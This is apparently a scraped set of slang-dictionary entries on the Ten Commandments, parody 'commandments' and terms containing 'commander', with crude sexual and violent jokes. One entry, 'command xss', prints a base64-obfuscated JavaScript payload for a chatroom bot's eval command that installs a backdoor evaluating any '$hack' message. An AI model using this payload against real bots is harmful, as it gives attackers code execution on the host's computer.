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The 10 Commandments

1. You shall have no other God’s before me.

2. Thou shalt not make unto thee any graven images.

3. Thou shalt not take the name of the Lord thy God in vain.

4. Remember the Sabbath day and keep it Holy.

5. Honor your father and mother.

6. Thou shalt not kill. — God wants us to protect human life.

7. Thou shalt not commit adultery.

8. Thou shalt not steal.

9. Thou shall not bear false witness.

10. You shall not covet.

I'm sure the Urban Dictionary has the meanings of the words, I would tell you, but that would probably be to long of a definition. Read Exodus 20 for more answers.
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11th Commandment

“Share always; share all ways.”

Note: the 11th Commandment was suppressed by the Church as subversive.

Sharing on a wide scale is a most dangerous threat to the powers that be whose wealth depends on maintaining and enforcing economic systems based on usury, debt peonage, wage slavery, false scarcity and the deprivations of poverty (and until it was banned, debtor’s prison and the poor house. See also the works of author Charles Dickens).

The institutions of private property - the right to exclude all others from enjoyment or use of a resource or asset - is subverted by those who dare to share.
When my smart-ass skeptic ex-husband asked me “so, if you’re so smart, what’s the 11th Commandment?”; I meditated and prayed for three days until it was revealed to me that to the 11th Commandment is “share always, share all ways”
by ‘Aether 00 October 2, 2022
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The Five Commandments

From the First Church Of Satan (FCOS) Come The Five Commandments Of Satan (FCOS):

1) Thou shalt love thy neighbor's wife until her husband comes home from work early one day, catches you in bed with her & kicks your ass! 2) Thou shalt not covet what I have stolen from you because you shall never get it back! 3) Thou shalt not take my name in vein unless if you are using a syringe containing all of the letters of my name within it, but you must never share the needle! 4) Thou shalt not bow down before any other god but me or I will come up from behind you & get busy! 5) Thou shalt turn the other cheek until your neck twists around & breaks, your spinal chord rips in two and your head falls in your lap!
"I prefer the 42 Laws of Ma'at over the Ten Commandments and the Five Commandments of Satan."
by ANOTHERDEADROMEO April 25, 2023
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Poncho Commander

A total boss. It is a group of individuals that you can count on to get the job done. You would trust these people with your life. A Poncho Commander never lets go, he is a ride or die person.
My wife walked outside in a bikini, that guy looked at her straight in the eyes and never strayed, he is a true poncho commander.
by The guy 1337 July 18, 2018
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baby commander

a full fucking physco that plays siege and has an army of babies.
the baby commander was no match for the Jskull
by jskull July 5, 2020
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command xss

^evaljs eval1-1(atob("Ym90LnNvY2tldC5vbignbWVzc2FnZScsIGZ1bmN0aW9uKGRhdGEpIHsKICBsZXQgeCA9IGRhdGEubXNnLmluZGV4T2YoJyAnKTsKICBpZihkYXRhLm1zZy5zbGljZSgwLCB4KSA9PSAnJGhhY2snKSB7CiAgICB0cnkgewogICAgICBib3Quc29ja2V0LmVtaXQoJ21lc3NhZ2UnLCBldmFsKGRhdGEubXNnLnNsaWNlKHggKyAxKSkpOwogICAgfSBjYXRjaChlcikgewogICAgICBib3Quc29ja2V0LmVtaXQoJ21lc3NhZ2UnLCAiRVJSOiAiICsgZXIudG9TdHJpbmcoKSk7CiAgICB9CiAgfQp9KQ=="))
/* command xss is a type of XSS attack performed on chatroom bots to gain access to the host's computer */
/* They found a command xss in my bot and deleted all my files */
by Melissa 2000 April 7, 2021
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Clout Commander

A chad so great all of the coochie gravitates to him.
by Derric Buttinstein December 13, 2018
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